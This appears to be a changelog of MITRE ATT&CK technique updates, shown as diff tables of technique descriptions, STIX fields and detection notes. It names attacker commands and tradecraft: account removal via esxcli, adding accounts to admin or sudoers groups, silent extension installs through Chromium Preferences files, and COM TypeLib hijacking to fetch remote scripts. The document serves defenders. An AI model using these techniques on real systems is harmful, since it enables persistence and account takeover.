| > | ty, <code>Set-LocalUser</code> and <code>Set-ADAccountPasswo | > | ckerGoga 2019)(Citation: Unit42 LockerGoga 2019) In Windows | ||
| > | rd</code> [PowerShell](https://attack.mitre.org/techniques/T | > | , [Net](https://attack.mitre.org/software/S0039) utility, <c | ||
| > | 1059/001) cmdlets may be used by adversaries to modify user | > | ode>Set-LocalUser</code> and <code>Set-ADAccountPassword</co | ||
| > | accounts. Accounts could also be disabled by Group Policy. I | > | de> [PowerShell](https://attack.mitre.org/techniques/T1059/0 | ||
| > | n Linux, the <code>passwd</code> utility may be used to chan | > | 01) cmdlets may be used by adversaries to modify user accoun | ||
| > | ge passwords. On ESXi servers, accounts can be removed or mo | > | ts. Accounts could also be disabled by Group Policy. In Linu | ||
| > | dified via esxcli (`system account set`, `system account rem | > | x, the <code>passwd</code> utility may be used to change pas | ||
| > | ove`). Adversaries who use ransomware or similar attacks ma | > | swords. On ESXi servers, accounts can be removed or modified | ||
| > | y first perform this and other Impact behaviors, such as [Da | > | via esxcli (`system account set`, `system account remove`). | ||
| > | ta Destruction](https://attack.mitre.org/techniques/T1485) a | > | Adversaries who use ransomware or similar attacks may firs | ||
| > | nd [Defacement](https://attack.mitre.org/techniques/T1491), | > | t perform this and other Impact behaviors, such as [Data Des | ||
| > | in order to impede incident response/recovery before complet | > | truction](https://attack.mitre.org/techniques/T1485) and [De | ||
| > | ing the [Data Encrypted for Impact](https://attack.mitre.org | > | facement](https://attack.mitre.org/techniques/T1491), in ord | ||
| > | /techniques/T1486) objective. | > | er to impede incident response/recovery before completing th | ||
| > | e [Data Encrypted for Impact](https://attack.mitre.org/techn | ||||
| > | iques/T1486) objective. | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'User Account: User Account Modification', 'User Account: User Account Deletion'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:58.987000+00:00 | 2025-10-24 17:49:14.836000+00:00 |
| description | Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)
+
+In Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).
+
+Adversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. | Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials, revoked permissions for SaaS platforms such as Sharepoint) to remove access to accounts.(Citation: Obsidian Security SaaS Ransomware June 2023) Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)
+
+In Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).
+
+Adversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account: + +* Event ID 4723 - An attempt was made to change an account's password +* Event ID 4724 - An attempt was made to reset an account's password +* Event ID 4726 - A user account was deleted +* Event ID 4740 - A user account was locked out + +Alerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. | |
| x_mitre_version | 1.4 | 1.5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Obsidian Security SaaS Ransomware June 2023', 'description': 'Obsidian Threat Research Team. (2023, June 6). SaaS Ransomware Observed in the Wild for Sharepoint in Microsoft 365. Retrieved October 5, 2025.', 'url': 'https://web.archive.org/web/20230608061141/https://www.obsidiansecurity.com/blog/saas-ransomware-observed-sharepoint-microsoft-365/'} | |
| x_mitre_contributors | Liran Ravich, CardinalOps |
Current version: 1.5
Version changed from: 1.4 → 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Internet Scan: Response Content', 'Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:44:09.753000+00:00 | 2025-10-24 17:48:20.468000+00:00 |
| x_mitre_detection | Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. + +Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | |
| x_mitre_version | 1.4 | 1.5 |
Current version: 1.1
Version changed from: 1.0 → 1.1
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may add additional local or domain groups to an | t | 1 | An adversary may add additional local or domain groups to an |
| > | adversary-controlled account to maintain persistent access | > | adversary-controlled account to maintain persistent access | ||
| > | to a system or domain. On Windows, accounts may use the `ne | > | to a system or domain. On Windows, accounts may use the `ne | ||
| > | t localgroup` and `net group` commands to add existing users | > | t localgroup` and `net group` commands to add existing users | ||
| > | to local and domain groups.(Citation: Microsoft Net Localgr | > | to local and domain groups.(Citation: Microsoft Net Localgr | ||
| > | oup)(Citation: Microsoft Net Group) On Linux, adversaries ma | > | oup)(Citation: Microsoft Net Group) On Linux, adversaries ma | ||
| > | y use the `usermod` command for the same purpose.(Citation: | > | y use the `usermod` command for the same purpose.(Citation: | ||
| > | Linux Usermod) For example, accounts may be added to the lo | > | Linux Usermod) For example, accounts may be added to the lo | ||
| > | cal administrators group on Windows devices to maintain elev | > | cal administrators group on Windows devices to maintain elev | ||
| > | ated privileges. They may also be added to the Remote Deskto | > | ated privileges. They may also be added to the Remote Deskto | ||
| > | p Users group, which allows them to leverage [Remote Desktop | > | p Users group, which allows them to leverage [Remote Desktop | ||
| > | Protocol](https://attack.mitre.org/techniques/T1021/001) to | > | Protocol](https://attack.mitre.org/techniques/T1021/001) to | ||
| > | log into the endpoints in the future.(Citation: Microsoft R | > | log into the endpoints in the future.(Citation: Microsoft R | ||
| > | DP Logons) On Linux, accounts may be added to the sudoers gr | > | DP Logons) Adversaries may also add accounts to VPN user gro | ||
| > | oup, allowing them to persistently leverage [Sudo and Sudo C | > | ups to gain future persistence on the network.(Citation: Cyb | ||
| > | aching](https://attack.mitre.org/techniques/T1548/003) for e | > | er Security News) On Linux, accounts may be added to the sud | ||
| > | levated privileges. In Windows environments, machine accou | > | oers group, allowing them to persistently leverage [Sudo and | ||
| > | nts may also be added to domain groups. This allows the loca | > | Sudo Caching](https://attack.mitre.org/techniques/T1548/003 | ||
| > | l SYSTEM account to gain privileges on the domain.(Citation: | > | ) for elevated privileges. In Windows environments, machin | ||
| > | RootDSE AD Detection 2022) | > | e accounts may also be added to domain groups. This allows t | ||
| > | he local SYSTEM account to gain privileges on the domain.(Ci | ||||
| > | tation: RootDSE AD Detection 2022) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 21:47:40.787000+00:00 | 2025-09-26 18:25:02.290000+00:00 |
| description | An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain. + +On Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod) + +For example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges. + +In Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022) | An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain. + +On Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod) + +For example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) Adversaries may also add accounts to VPN user groups to gain future persistence on the network.(Citation: Cyber Security News) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges. + +In Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Cyber Security News', 'description': 'Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.', 'url': 'https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 13:29:34.161000+00:00 | 2025-10-24 17:48:36.255000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498). | |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse internet browser extensions to establi | t | 1 | Adversaries may abuse internet browser extensions to establi |
| > | sh persistent access to victim systems. Browser extensions o | > | sh persistent access to victim systems. Browser extensions o | ||
| > | r plugins are small programs that can add functionality to a | > | r plugins are small programs that can add functionality to a | ||
| > | nd customize aspects of internet browsers. They can be insta | > | nd customize aspects of internet browsers. They can be insta | ||
| > | lled directly via a local file or custom URL or through a br | > | lled directly via a local file or custom URL or through a br | ||
| > | owser's app store - an official online platform where users | > | owser's app store - an official online platform where users | ||
| > | can browse, install, and manage extensions for a specific we | > | can browse, install, and manage extensions for a specific we | ||
| > | b browser. Extensions generally inherit the web browser's pe | > | b browser. Extensions generally inherit the web browser's pe | ||
| > | rmissions previously granted.(Citation: Wikipedia Browser Ex | > | rmissions previously granted.(Citation: Wikipedia Browser Ex | ||
| > | tension)(Citation: Chrome Extensions Definition) Maliciou | > | tension)(Citation: Chrome Extensions Definition) Maliciou | ||
| > | s extensions can be installed into a browser through malicio | > | s extensions can be installed into a browser through malicio | ||
| > | us app store downloads masquerading as legitimate extensions | > | us app store downloads masquerading as legitimate extensions | ||
| > | , through social engineering, or by an adversary that has al | > | , through social engineering, or by an adversary that has al | ||
| > | ready compromised a system. Security can be limited on brows | > | ready compromised a system. Security can be limited on brows | ||
| > | er app stores, so it may not be difficult for malicious exte | > | er app stores, so it may not be difficult for malicious exte | ||
| > | nsions to defeat automated scanners.(Citation: Malicious Chr | > | nsions to defeat automated scanners.(Citation: Malicious Chr | ||
| > | ome Extension Numbers) Depending on the browser, adversaries | > | ome Extension Numbers) Depending on the browser, adversaries | ||
| > | may also manipulate an extension's update url to install up | > | may also manipulate an extension's update url to install up | ||
| > | dates from an adversary-controlled server or manipulate the | > | dates from an adversary-controlled server or manipulate the | ||
| > | mobile configuration file to silently install additional ext | > | mobile configuration file to silently install additional ext | ||
| > | ensions. Previous to macOS 11, adversaries could silentl | > | ensions. Adversaries may abuse how chromium-based browsers | ||
| > | y install browser extensions via the command line using the | > | load extensions by modifying or replacing the Preferences a | ||
| > | <code>profiles</code> tool to install malicious <code>.mobil | > | nd/or Secure Preferences files to silently install malicious | ||
| > | econfig</code> files. In macOS 11+, the use of the <code>pro | > | extensions. When the browser is not running, adversaries ca | ||
| > | files</code> tool can no longer install configuration profil | > | n alter these files, ensuring the extension is loaded, grant | ||
| > | es; however, <code>.mobileconfig</code> files can be planted | > | ed desired permissions, and will persist in browser sessions | ||
| > | and installed with user interaction.(Citation: xorrior chro | > | . This method does not require user consent and extensions a | ||
| > | me extensions macOS) Once the extension is installed, it | > | re silently loaded in the background from disk or from the b | ||
| > | can browse to websites in the background, steal all informat | > | rowser's trusted store.(Citation: Pulsedive) Previous to | ||
| > | ion that a user enters into a browser (including credentials | > | macOS 11, adversaries could silently install browser extensi | ||
| > | ), and be used as an installer for a RAT for persistence.(Ci | > | ons via the command line using the <code>profiles</code> too | ||
| > | tation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chro | > | l to install malicious <code>.mobileconfig</code> files. In | ||
| > | me Extensions)(Citation: Banker Google Chrome Extension Stea | > | macOS 11+, the use of the <code>profiles</code> tool can no | ||
| > | ls Creds)(Citation: Catch All Chrome Extension) There have | > | longer install configuration profiles; however, <code>.mobil | ||
| > | also been instances of botnets using a persistent backdoor | > | econfig</code> files can be planted and installed with user | ||
| > | through malicious Chrome extensions for [Command and Control | > | interaction.(Citation: xorrior chrome extensions macOS) O | ||
| > | ](https://attack.mitre.org/tactics/TA0011).(Citation: Stanti | > | nce the extension is installed, it can browse to websites in | ||
| > | nko Botnet)(Citation: Chrome Extension C2 Malware) Adversari | > | the background, steal all information that a user enters in | ||
| > | es may also use browser extensions to modify browser permiss | > | to a browser (including credentials), and be used as an inst | ||
| > | ions and components, privacy settings, and other security co | > | aller for a RAT for persistence.(Citation: Chrome Extension | ||
| > | ntrols for [Defense Evasion](https://attack.mitre.org/tactic | > | Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: | ||
| > | s/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adr | > | Banker Google Chrome Extension Steals Creds)(Citation: Catch | ||
| > | ozek) | > | All Chrome Extension) There have also been instances of b | ||
| > | otnets using a persistent backdoor through malicious Chrome | ||||
| > | extensions for [Command and Control](https://attack.mitre.or | ||||
| > | g/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chr | ||||
| > | ome Extension C2 Malware) Adversaries may also use browser e | ||||
| > | xtensions to modify browser permissions and components, priv | ||||
| > | acy settings, and other security controls for [Defense Evasi | ||||
| > | on](https://attack.mitre.org/tactics/TA0005).(Citation: Brow | ||||
| > | ers FriarFox)(Citation: Browser Adrozek) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Gordon Long, LegioX/Zoom, asaurusrex'] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Creation', 'Process: Process Creation', 'Command: Command Execution', 'File: File Creation', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:15.232000+00:00 | 2025-09-22 17:00:42.545000+00:00 |
| description | Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)
+
+Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions.
+
+Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)
+
+Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)
+
+There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) | Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)
+
+Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions.
+
+Adversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store.(Citation: Pulsedive)
+
+Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)
+
+Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)
+
+There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Pulsedive', 'description': ' Pulsedive Threat Research. (2025, March 21). Rilide - An Information Stealing Browser Extension. Retrieved September 22, 2025.', 'url': 'https://blog.pulsedive.com/rilide-an-information-stealing-browser-extension/'} |
Current version: 2.8
Version changed from: 2.7 → 2.8
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use brute force techniques to gain access to | t | 1 | Adversaries may use brute force techniques to gain access to |
| > | accounts when passwords are unknown or when password hashes | > | accounts when passwords are unknown or when password hashes | ||
| > | are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Wit | > | are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Wit | ||
| > | hout knowledge of the password for an account or set of acco | > | hout knowledge of the password for an account or set of acco | ||
| > | unts, an adversary may systematically guess the password usi | > | unts, an adversary may systematically guess the password usi | ||
| > | ng a repetitive or iterative mechanism.(Citation: Dragos Cra | > | ng a repetitive or iterative mechanism.(Citation: Dragos Cra | ||
| > | shoverride 2018) Brute forcing passwords can take place via | > | shoverride 2018) Brute forcing passwords can take place via | ||
| > | interaction with a service that will check the validity of t | > | interaction with a service that will check the validity of t | ||
| > | hose credentials or offline against previously acquired cred | > | hose credentials or offline against previously acquired cred | ||
| > | ential data, such as password hashes. Brute forcing credent | > | ential data, such as password hashes. Brute forcing credent | ||
| > | ials may take place at various points during a breach. For e | > | ials may take place at various points during a breach. For e | ||
| > | xample, adversaries may attempt to brute force access to [Va | > | xample, adversaries may attempt to brute force access to [Va | ||
| > | lid Accounts](https://attack.mitre.org/techniques/T1078) wit | > | lid Accounts](https://attack.mitre.org/techniques/T1078) wit | ||
| > | hin a victim environment leveraging knowledge gathered from | > | hin a victim environment leveraging knowledge gathered from | ||
| > | other post-compromise behaviors such as [OS Credential Dumpi | > | other post-compromise behaviors such as [OS Credential Dumpi | ||
| > | ng](https://attack.mitre.org/techniques/T1003), [Account Dis | > | ng](https://attack.mitre.org/techniques/T1003), [Account Dis | ||
| > | covery](https://attack.mitre.org/techniques/T1087), or [Pass | > | covery](https://attack.mitre.org/techniques/T1087), or [Pass | ||
| > | word Policy Discovery](https://attack.mitre.org/techniques/T | > | word Policy Discovery](https://attack.mitre.org/techniques/T | ||
| > | 1201). Adversaries may also combine brute forcing activity w | > | 1201). Adversaries may also combine brute forcing activity w | ||
| > | ith behaviors such as [External Remote Services](https://att | > | ith behaviors such as [External Remote Services](https://att | ||
| > | ack.mitre.org/techniques/T1133) as part of Initial Access. | > | ack.mitre.org/techniques/T1133) as part of Initial Access. | ||
| > | If an adversary guesses the correct password but fails to l | ||||
| > | ogin to a compromised account due to location-based conditio | ||||
| > | nal access policies, they may change their infrastructure un | ||||
| > | til they match the victim’s location and therefore bypass th | ||||
| > | ose policies.(Citation: ReliaQuest Health Care Social Engine | ||||
| > | ering Campaign 2024) | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['User Account: User Account Authentication', 'Command: Command Execution', 'Application Log: Application Log Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:56.556000+00:00 | 2025-10-24 17:49:12.218000+00:00 |
| description | Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. + +Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. | Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. + +Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. + +If an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim’s location and therefore bypass those policies.(Citation: ReliaQuest Health Care Social Engineering Campaign 2024) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. | |
| x_mitre_version | 2.7 | 2.8 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ReliaQuest Health Care Social Engineering Campaign 2024', 'description': 'Hayden Evans. (2024, April 4). Health Care Social Engineering Campaign. Retrieved May 22, 2025.', 'url': 'https://www.reliaquest.com/blog/health-care-social-engineering-campaign/'} | |
| x_mitre_contributors | ReliaQuest |
Current version: 1.3
Version changed from: 1.2 → 1.3
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence by executing malicious | t | 1 | Adversaries may establish persistence by executing malicious |
| > | content triggered by hijacked references to Component Objec | > | content triggered by hijacked references to Component Objec | ||
| > | t Model (COM) objects. COM is a system within Windows to ena | > | t Model (COM) objects. COM is a system within Windows to ena | ||
| > | ble interaction between software components through the oper | > | ble interaction between software components through the oper | ||
| > | ating system.(Citation: Microsoft Component Object Model) R | > | ating system.(Citation: Microsoft Component Object Model) R | ||
| > | eferences to various COM objects are stored in the Registry. | > | eferences to various COM objects are stored in the Registry. | ||
| > | Adversaries can use the COM system to insert malicious co | > | Adversaries may use the COM system to insert malicious co | ||
| > | de that can be executed in place of legitimate software thro | > | de that can be executed in place of legitimate software thro | ||
| > | ugh hijacking the COM references and relationships as a mean | > | ugh hijacking the COM references and relationships as a mean | ||
| > | s for persistence. Hijacking a COM object requires a change | > | s for persistence. Hijacking a COM object requires a change | ||
| > | in the Registry to replace a reference to a legitimate syste | > | in the Registry to replace a reference to a legitimate syste | ||
| > | m component which may cause that component to not work when | > | m component which may cause that component to not work when | ||
| > | executed. When that system component is executed through nor | > | executed. When that system component is executed through nor | ||
| > | mal system operation the adversary's code will be executed i | > | mal system operation the adversary's code will be executed i | ||
| > | nstead.(Citation: GDATA COM Hijacking) An adversary is likel | > | nstead.(Citation: GDATA COM Hijacking) An adversary is likel | ||
| > | y to hijack objects that are used frequently enough to maint | > | y to hijack objects that are used frequently enough to maint | ||
| > | ain a consistent level of persistence, but are unlikely to b | > | ain a consistent level of persistence, but are unlikely to b | ||
| > | reak noticeable functionality within the system as to avoid | > | reak noticeable functionality within the system as to avoid | ||
| > | system instability that could lead to detection. | > | system instability that could lead to detection. One varia | ||
| > | tion of COM hijacking involves abusing Type Libraries (TypeL | ||||
| > | ibs), which provide metadata about COM objects, such as thei | ||||
| > | r interfaces and methods. Adversaries may modify Registry ke | ||||
| > | ys associated with TypeLibs to redirect legitimate COM objec | ||||
| > | t functionality to malicious scripts or payloads. Unlike tra | ||||
| > | ditional COM hijacking, which commonly uses local DLLs, this | ||||
| > | variation may leverage the "script:" moniker to execute rem | ||||
| > | ote scripts hosted on external servers.(Citation: RELIAQUEST | ||||
| > | ) This approach enables stealthy execution of code while mai | ||||
| > | ntaining persistence, as the remote payload would be automat | ||||
| > | ically downloaded whenever the hijacked COM object is access | ||||
| > | ed. | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 20:37:20.012000+00:00 | 2025-10-24 17:49:18.160000+00:00 |
